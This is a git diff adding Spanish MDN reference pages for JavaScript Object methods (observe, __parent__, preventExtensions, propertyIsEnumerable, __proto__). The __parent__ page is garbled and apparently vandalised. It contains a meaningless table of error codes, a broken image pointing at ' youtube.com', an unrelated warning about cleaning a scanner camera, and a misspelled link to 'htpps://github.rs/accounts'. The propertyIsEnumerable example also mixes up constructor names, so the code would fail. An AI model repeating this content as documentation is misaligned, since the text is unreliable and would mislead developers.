+<div>{{JSRef}} {{obsolete_header}}</div>
+
+<p>El método <strong><code>Object.observe() </code></strong>es usado para observar de forma asíncrona cambios sobre un objeto.  Este método transmite información sobre cambios en el objeto, en el orden en que estos ocurren.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Object.observe(<var>obj</var>, <var>callback</var>[, <var>acceptList</var>])</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto que será observado.</dd>
+ <dt><code>callback</code></dt>
+ <dd>La función llamada cada vez que un cambio es realizado. Esta función recibe el siguiente argumento:</dd>
+ <dd>
+ <dl>
+  <dt><code>changes</code></dt>
+  <dd>Una cadena (<em>Array</em>) de objetos, cada uno de los cuales representa un cambio. Las propiedades de estos objetos son:
+  <ul>
+   <li><strong><code>name</code></strong>: El nombre de la propiedad que fue cambiada.</li>
+   <li><strong><code>object</code></strong>: El objeto con el cambio ya realizado.</li>
+   <li><strong><code>type</code></strong>: Una cadena (<em>String</em>), indicando el tipo de cambio que ocurrió. Puede ser "<em>add</em>" (añadir), "<em>update" </em>(actualizar) o "<em>delete</em>" (borrar) .</li>
+   <li><strong><code>oldValue</code></strong>: Sólo válido para los tipos (<em>type</em>) <em>"</em><em>update" </em>o <em>"delete"</em>. Esta propiedad representa el valor antes de que haya ocurrido el cambio.</li>
+  </ul>
+  </dd>
+ </dl>
+ </dd>
+ <dt><code>acceptList</code></dt>
+ <dd>La lista de tipos de cambios que serán observados en el objeto dado, y que serán pasados a la función callback dada. Si este parámetro es omitido, se utilizará de forma predeterminada la cadena (<em>Array</em>) <code>["add", "update", "delete", "reconfigure", "setPrototype", "preventExtensions"]</code>.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La función <strong><code>callback</code> </strong>es llamada o ejecutada cada vez que un cambio es aplicado sobre el objeto <strong><code>obj</code></strong>. Esta función es ejecutada con una cadena (Array) de todos los cambios sobre el objeto, en el orden en el que estos ocurrieron.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Imprimir_en_consola_los_seis_tipos_diferentes_de_cambios_en_un_objeto.">Imprimir en consola los seis tipos diferentes de cambios en un objeto.</h3>
+
+<pre class="brush: js">var obj = {
+  foo: 0
+};
+
+Object.observe(obj, function(changes) {
+  console.log(changes);
+});
+
+obj.baz = 2;
+// [{name: 'baz', object: &lt;obj&gt;, type: 'add'}]
+
+obj.foo = 'hello';
+// [{name: 'foo', object: &lt;obj&gt;, type: 'update', oldValue: 0}]
+
+delete obj.baz;
+// [{name: 'baz', object: &lt;obj&gt;, type: 'delete', oldValue: 2}]
+
+Object.defineProperty(obj, 'foo', {writable: false});
+// [{name: 'foo', object: &lt;obj&gt;, type: 'reconfigure'}]
+
+Object.setPrototypeOf(obj, {});
+// [{name: '__proto__', object: &lt;obj&gt;, type: 'setPrototype', oldValue: &lt;prototype&gt;}]
+
+Object.seal(obj);
+// [
+//   {name: 'foo', object: &lt;obj&gt;, type: 'reconfigure'},
+//   {name: 'baz', object: &lt;obj&gt;, type: 'reconfigure'},
+//   {object: &lt;obj&gt;, type: 'preventExtensions'}
+// ]
+</pre>
+
+<h3 id="Enlace_de_datos">Enlace de datos</h3>
+
+<pre class="brush: js">// Un modelo de objeto "usuario"
+var user = {
+  id: 0,
+  name: 'Brendan Eich',
+  title: 'Mr.'
+};
+
+// Crear un saludo para el usuario
+function updateGreeting() {
+  user.greeting = 'Hello, ' + user.title + ' ' + user.name + '!';
+}
+updateGreeting();
+
+Object.observe(user, function(changes) {
+  changes.forEach(function(change) {
+    // Cada vez que las propiedades "name" o "title" del objeto
+    // "user" cambien, se ejecutará la función updateGreeting.
+    if (change.name === 'name' || change.name === 'title') {
+      updateGreeting();
+    }
+  });
+});
+</pre>
+
+<h3 id="Cambio_de_tipo_personalizado">Cambio de tipo personalizado</h3>
+
+<pre class="brush: js">// A point on a 2D plane
+var point = {x: 0, y: 0, distance: 0};
+
+function setPosition(pt, x, y) {
+  // Performing a custom change
+  Object.getNotifier(pt).performChange('reposition', function() {
+    var oldDistance = pt.distance;
+    pt.x = x;
+    pt.y = y;
+    pt.distance = Math.sqrt(x * x + y * y);
+    return {oldDistance: oldDistance};
+  });
+}
+
+Object.observe(point, function(changes) {
+  console.log('Distance change: ' + (point.distance - changes[0].oldDistance));
+}, ['reposition']);
+
+setPosition(point, 3, 4);
+// Distance change: 5
+</pre>
+
+<h2 id="Especificación_Técnica_(en_inglés)">Especificación Técnica (en inglés)</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Strawman proposal for ECMAScript 7</a>.</p>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("23")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("23")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Object.unobserve()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Array.observe()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/parent/index.html b/files/es/web/javascript/referencia/objetos_globales/object/parent/index.html
new file mode 100644
index 0000000000..7fcd990395
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/parent/index.html
@@ -0,0 +1,244 @@
+---
+title: Object.prototype.__parent__
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/Parent
+translation_of: Archive/Web/JavaScript/Object.parent
+---
+<div>{{JSRef}}{{Non-standard_Header}}{{Obsolete_Header("gecko2")}}</div>
+
+<p>The <strong><code>__parent__</code></strong> property used to point to an object's context, but it has been removed.</p>
+
+<p> <img alt="Helvetica" src=" youtube.com"></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <td>JSON</td>
+       <td>Energy</td>
+       <td>Pass</td>
+       <td>Vid errors</td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+      </tr>
+      <tr>
+       <td>M</td>
+       <td>290 GX Pass Golden</td>
+       <td>67/500</td>
+       <td>error 759848</td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+      </tr>
+      <tr>
+       <td>A</td>
+       <td>190 EXHI Pass</td>
+       <td>Appears</td>
+       <td>error 578047</td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+      </tr>
+      <tr>
+       <td>B</td>
+       <td>not run</td>
+       <td>not run</td>
+       <td>error 000000</td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+      </tr>
+      <tr>
+       <td>Y</td>
+       <td>"Variant Turbo_"</td>
+       <td>30x35</td>
+       <td>error A24AB6</td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+      </tr>
+      <tr>
+       <td>D</td>
+       <td>not</td>
+       <td>23/56[(89])</td>
+       <td>(math error) 759709</td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+      </tr>
+      <tr>
+       <td>Z</td>
+       <td>-7800 Gx 2000-7800</td>
+       <td>not</td>
+       <td>error 638298303890</td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+      </tr>
+      <tr>
+       <td>Errors</td>
+       <td>5876785675</td>
+       <td>87659679567</td>
+       <td>5'690'8435978</td>
+       <td>8767689</td>
+       <td>8743578495</td>
+       <td>834257384957</td>
+       <td>847359873489534897</td>
+       <td>0945894758597</td>
+       <td>34879587595934</td>
+       <td>859084987</td>
+       <td></td>
+      </tr>
+      <tr>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+      </tr>
+      <tr>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+      </tr>
+      <tr>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+      </tr>
+      <tr>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+       <td></td>
+      </tr>
+     </tbody>
+    </table>
+
+    <h2 id="sect1"></h2>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator warning">
+<p>Advertencia de Traductor: Tengan cuidado con el escaneer. Si la camara trasera de movil o de delante de ordenadores. Limpiela con un trapo. Si aun sigue el problema, llame a al atencion al cliente.</p>
+</div>
+
+<div class="blockIndicator note">
+<p>Nota: sentimos mucho hacerlo en English (US) Intenten traducirlo con Traductor y intentelo de nuevo</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<h2 class="syntaxbox" id="obj.__parent__"><var>obj</var>.__parent__</h2>
+
+<h2 id="Description">Description</h2>
+
+<p>For top-level objects, this is the e.g. window.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Not part of any specifications.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.parent")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/">SpiderMonkey change du jour: the special __parent__ property has been removed</a></li>
+ <li><a href="/en-US/docs/Components.utils.getGlobalForObject">Components.utils.getGlobalForObject</a></li>
+</ul>
+
+<h2 id="See_also_var">See also var</h2>
+
+<ol>
+ <li>"htpps://github.rs/accounts"</li>
+ <li>not</li>
+</ol>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/preventextensions/index.html b/files/es/web/javascript/referencia/objetos_globales/object/preventextensions/index.html
new file mode 100644
index 0000000000..50f51214a8
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/preventextensions/index.html
@@ -0,0 +1,176 @@
+---
+title: Object.preventExtensions()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/preventExtensions
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/preventExtensions
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Object.preventExtensions()</strong></code> previene que nuevas propiedades sean agregadas a un objeto (p.e. previene la extensión futuras al objeto).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Object.preventExtensions(<var>obj</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto que debería hacerse inextendible.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Un objeto es extendible si propiedades nuevas pueden ser agregadas a este. Object.preventExtensions() marca un objecto como no extendible, así nunca más tendrá propiedades más allá de las tenía en el momento en que fue marcado como no extendible. Note que las propiedades de un objeto no-extendible, en general, aún pueden ser eliminadas. Los intentos de agregar propiedades nuevas a un objeto no-extendible fallarán, ya sea de manera silenciosa o arrojando una excepción {{jsxref("TypeError")}} (comunmente, pero no de manera exclusiva, en {{jsxref("Functions_and_function_scope/Strict_mode", "strict mode", "", 1)}}).</p>
+
+<p><code>Object.preventExtensions()</code> solo previene la adición de propiedades propias. Las propiedades aún pueden ser agregadas a object.prototype. Sin embargo, llamar <code>Object.preventExtensions()</code> sobre un objeto tambien prevendrá extensiones sobre la propiedad {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}}.</p>
+
+<p>Si hay una manera de cambiar un objeto extendible a uno no-extendible, hay una manera de hacer lo opuesto en ECMAScript 5.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">// Object.preventExtensions regresa el objeto hecho no-extendible.
+var obj = {};
+var obj2 = Object.preventExtensions(obj);
+obj === obj2; // true
+
+// Los Objetos son extendibles por defecto.
+var empty = {};
+Object.isExtensible(empty); // === true
+
+// ...pero pueden ser cambiados.
+Object.preventExtensions(empty);
+Object.isExtensible(empty); // === false
+
+// Object.defineProperty arroja una excepción cuando se agrega
+// una propiedad nueva a un objeto no-extendible.
+var nonExtensible = { removable: true };
+Object.preventExtensions(nonExtensible);
+Object.defineProperty(nonExtensible, 'new', { value: 8675309 }); // arroja TypeError
+
+// En modo estricto, tratar de agregar propiedades nuevas
+// a un objeto no-extensible arroja una excepción TypeError.
+function fail() {
+  'use strict';
+  nonExtensible.newProperty = 'FAIL'; // arroja TypeError
+}
+fail();
+
+// EXTENSION (solo funciona en motores que soporten __proto__
+// (el cual esta obsoleto. Usar Object.getPrototypeOf en su lugar)):
+// La propiedad prototype de un objeto no-extendible es inmutable.
+var fixed = Object.preventExtensions({});
+fixed.__proto__ = { oh: 'hai' }; // arroja TypeError
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>En ES5, si el argumento pasado a este método no es un objeto (primitivo), entonces causará un {{jsxref("TypeError")}}. En ES6, un argumento no-objeto será tratado como si fuera un objeto ordinario no-extendible, simplemente lo regresa.</p>
+
+<pre class="brush: js">Object.preventExtensions(1);
+// TypeError: 1 is not an object (ES5 code)
+
+Object.preventExtensions(1);
+// 1                             (ES6 code)
+</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.10', 'Object.preventExtensions')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementada en JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.preventextensions', 'Object.preventExtensions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("6")}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("12")}}</td>
+   <td>{{CompatSafari("5.1")}}</td>
+  </tr>
+  <tr>
+   <td>Comportamiento en ES6 para un no-objeto pasado como argumento</td>
+   <td>{{CompatChrome("44")}}</td>
+   <td>{{CompatGeckoDesktop("35.0")}}</td>
+   <td>{{CompatIE("11")}}</td>
+   <td>{{CompatOpera("31")}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Comportamiento en ES6 para no-objetos pasados como argumentos</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("35.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Reflect.preventExtensions()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/propertyisenumerable/index.html b/files/es/web/javascript/referencia/objetos_globales/object/propertyisenumerable/index.html
new file mode 100644
index 0000000000..b2ede9dd60
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/propertyisenumerable/index.html
@@ -0,0 +1,185 @@
+---
+title: Object.prototype.propertyIsEnumerable()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/propertyIsEnumerable
+tags:
+  - JavaScript
+  - Objecto
+  - Property
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>propertyIsEnumerable()</strong></code> regresa un Boleano indicando si la propiedad especificada es enumerable.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.propertyIsEnumerable(<var>prop</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Nombre de la propiedad a probar.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Todos los objetos tienen un método <code>propertyIsEnumerable</code>. Este método puede determinar si la propiedad especificada en el objeto puede ser enumerada por un ciclo {{jsxref("Statements/for...in", "for...in")}}, con la excepción de propiedades heredadas a través de prototype. Si el objeto no tiene la propiedad especificada, este método regresa un valor <code>false</code>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Uso_básico_de_propertyIsEnumerable">Uso básico de <code>propertyIsEnumerable</code></h3>
+
+<p>El siguiente ejemplo muestra el uso de <code>propertyIsEnumerable</code> en objetos y arrays:</p>
+
+<pre class="brush: js">var o = {};
+var a = [];
+o.prop = 'es enumerable';
+a[0] = 'es enumerable';
+
+o.propertyIsEnumerable('prop');   // regresa true
+a.propertyIsEnumerable(0);        // regresa true
+</pre>
+
+<h3 id="Definidas_por_usuario_vs_predefinidas">Definidas por usuario vs predefinidas</h3>
+
+<p>El siguiente ejemplo demuestra la enumerabilidad de las propiedades definidas por el usuario contra las predefinidas:</p>
+
+<pre class="brush: js">var a = ['es enumerable'];
+
+a.propertyIsEnumerable(0);          // regresa true
+a.propertyIsEnumerable('length');   // regresa false
+
+Math.propertyIsEnumerable('random');   // regresa false
+this.propertyIsEnumerable('Math');     // regresa false
+</pre>
+
+<h3 id="Directa_vs_heredadas">Directa vs  heredadas</h3>
+
+<pre class="brush: js">var a = [];
+a.propertyIsEnumerable('constructor');         // regresa false
+
+function primerConstructor() {
+  this.propiedad = 'no es enumerable';
+}
+
+primerConstructor.prototype.primerMetodo = function() {};
+
+function segundoConstructor() {
+  this.metodo = function() { return 'es enumerable'; };
+}
+
+secondConstructor.prototype = new primerConstructor;
+secondConstructor.prototype.constructor = segundoConstructor;
+
+var o = new segundoConstructor();
+o.propiedadArbitraria = 'is enumerable';
+
+o.propertyIsEnumerable('propiedadArbitraria ');   // regresa true
+o.propertyIsEnumerable('metodo');                 // regresa true
+o.propertyIsEnumerable('propiedad');              // regresa false
+
+o.propiedad = 'es enumerable';
+
+o.propertyIsEnumerable('propiedad');              // regresa true
+
+// Regresan false por estar en el prototipo el cual no es
+// considerado por propertyIsEnumerable (a pesar de que las dos ultimas son
+// iterables con un for-in)
+o.propertyIsEnumerable('prototype');   // regresa false (como en JS 1.8.1/FF3.6)
+o.propertyIsEnumerable('constructor'); // regresa false
+o.propertyIsEnumerable('firstMethod'); // regresa false
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.7', 'Object.prototype.propertyIsEnumerable')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notas_específicas_para_Gecko">Notas específicas para Gecko</h2>
+
+<p>Al inicio de JavaScript 1.8.1 (in Firefox 3.6), <code>propertyIsEnumerable('prototype')</code> regresa <code>false</code> en lugar de <code>true</code>; esto hace que el resultado cumpla con la especificación de ECMAScript 5.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Statements/for...in", "for...in")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/proto/index.html b/files/es/web/javascript/referencia/objetos_globales/object/proto/index.html
new file mode 100644
index 0000000000..24055ac261
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/proto/index.html
@@ -0,0 +1,128 @@
+---
+title: Object.prototype.__proto__
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/proto
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/proto
+---
+<div class="warning">
+<p><strong>Advertencia:</strong> Cambiar la propiedad <code>[[Prototype]]</code> de un objeto es, por como los navegadores modernos optimizan las propiedades de acceso, una operación muy lenta en <strong><em>todos</em></strong> los navegadores y motores JavaScript. Los efectos en el rendimiento de alterar la herencia son muchos y delicados, y no se limita simplemente al tiempo que necesita la asignación <code>obj.__proto__ = ...</code> sentencia,  sin embargo afecta a  <strong><em>cualquier</em></strong> código que tiene acceso a  <strong><em>cualquier</em></strong> objeto cuya propiedad <code>[[Prototype]]</code> ha sido alterada, por lo que se debe de tener mucho cuidado.</p>
+
+<p>Si el rendimiento en tu aplicación es necesario, deberías evitar modificar la propiedad <code>[[Prototype]]</code> de un objeto. En su lugar, crea un objecto nuevo con la propiedad <code>[[Prototype]]</code> deseada usando {{jsxref("Object.create()")}}.</p>
+</div>
+
+<div class="warning">
+<p><strong>Advertencia:</strong> Mientras <code>Object.prototype.__proto__</code> es soportado hoy día por la mayoría de navegadores, su existencia y comportamiento exacto solo ha sido estandarizado en la especificación ECMAScript 6 como una característica de legado y para asegurar la compatibilidad entre los navegadores web. Para tener un mejor soporte, es recomendable que se utilice {{jsxref("Object.getPrototypeOf()")}} para obtener el prototipo de un objeto.</p>
+</div>
+
+<div>{{JSRef}}</div>
+
+<p>La propiedad <code>__proto__</code> de {{jsxref("Object.prototype")}} es una propiedad llamada de acceso (una función getter y también función setter) que provee acceso al interior de <code>[[Prototype]]</code> (ya sea un objeto o {{jsxref("Global_Objects/null", "null")}}) del objeto a través del cual se accede a ella.</p>
+
+<p>El uso de la propiedad <code>__proto__</code> es polémico actualmente, y está rechazado. Originalmente, nunca fué incluído en la especificación de EcmaScript, pero los navegadores modernos decidieron implementarla de todas maneras. Sólo actualmente, <code>la propiedad __proto__</code> ha sido estandarizada en la especificación del lenguaje ECMAScript 6, para asegurar la compatibilidad entre navegadores, por lo tanto, esta será soportada en el futuro. Actualmente está obsoleta  en favor de {{jsxref("Object.getPrototypeOf")}}/{{jsxref("Reflect.getPrototypeOf")}} y {{jsxref("Object.setPrototypeOf")}}/{{jsxref("Reflect.setPrototypeOf")}} (aunque todavía establecer el <code>[[Prototype]]</code> de un objeto es una operación muy lenta, por lo que si nos preocupa el rendimiento, debemos de evitarlo).</p>
+
+<p>La propiedad <code>__proto__</code> puede ser usada también en un objeto definido de forma literal, para establecer el <code>[[Prototype]]</code> en la creación de este, como alternativa a {{jsxref("Object.create()")}}. Ver: <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer / literal syntax</a>.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush: js">var shape = {};
+var circle = new Circle();
+
+// Establecer el objeto prototype.
+// OBSOLETO. Esto es solo un ejemplo. NO HACER ESTO en código real.
+shape.__proto__ = circle;
+
+// Obtener el objeto prototype
+console.log(shape.__proto__ === circle); // true
+</pre>
+
+<p>Nota: esto es, dos guiones bajos, seguidos de cinco carácteres "proto", seguido de dos guiones bajos mas.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La función getter <code>__proto__</code>el valor interno del <code>[[Prototype]]</code> de un objeto. Para objetos creados usando un objeto literal, el valor es {{jsxref("Object.prototype")}}. Para objetos creados usando literales de array, este valor es {{jsxref("Array.prototype")}}. Para funciones, este valor {{jsxref("Function.prototype")}}. Para objetos creados utilizando el operador new fun, donde <strong>fun</strong> es una función constructora incluída en JavaScript  ({{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("String")}}, etcétera—incluyendo nuevos contrusctores conforme JavaScript evoluciona), este valor es <code>fun.prototype</code>.  (Esto es, si el constructor no devuelve un objeto de forma explícita, o el <code>fun.prototype</code> ha sido reasignado desde que la instancia fué creada).</p>
+
+<p>El <code>__proto__</code> setter la mutación del objeto <code>[[Prototype]]</code> de un objeto. El objeto debe ser extensible según {{jsxref("Object.isExtensible()")}}: si no, un {{jsxref("Global_Objects/TypeError", "TypeError")}} es lanzado. El valor proveído debe ser un objeto o {{jsxref("Global_Objects/null", "null")}}. Provetendo otro tipo de valor no hará nada.</p>
+
+<p>Para entender como los prototipos son usados para herencia, ver el artículo <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">Inheritance and the prototype chain</a>.</p>
+
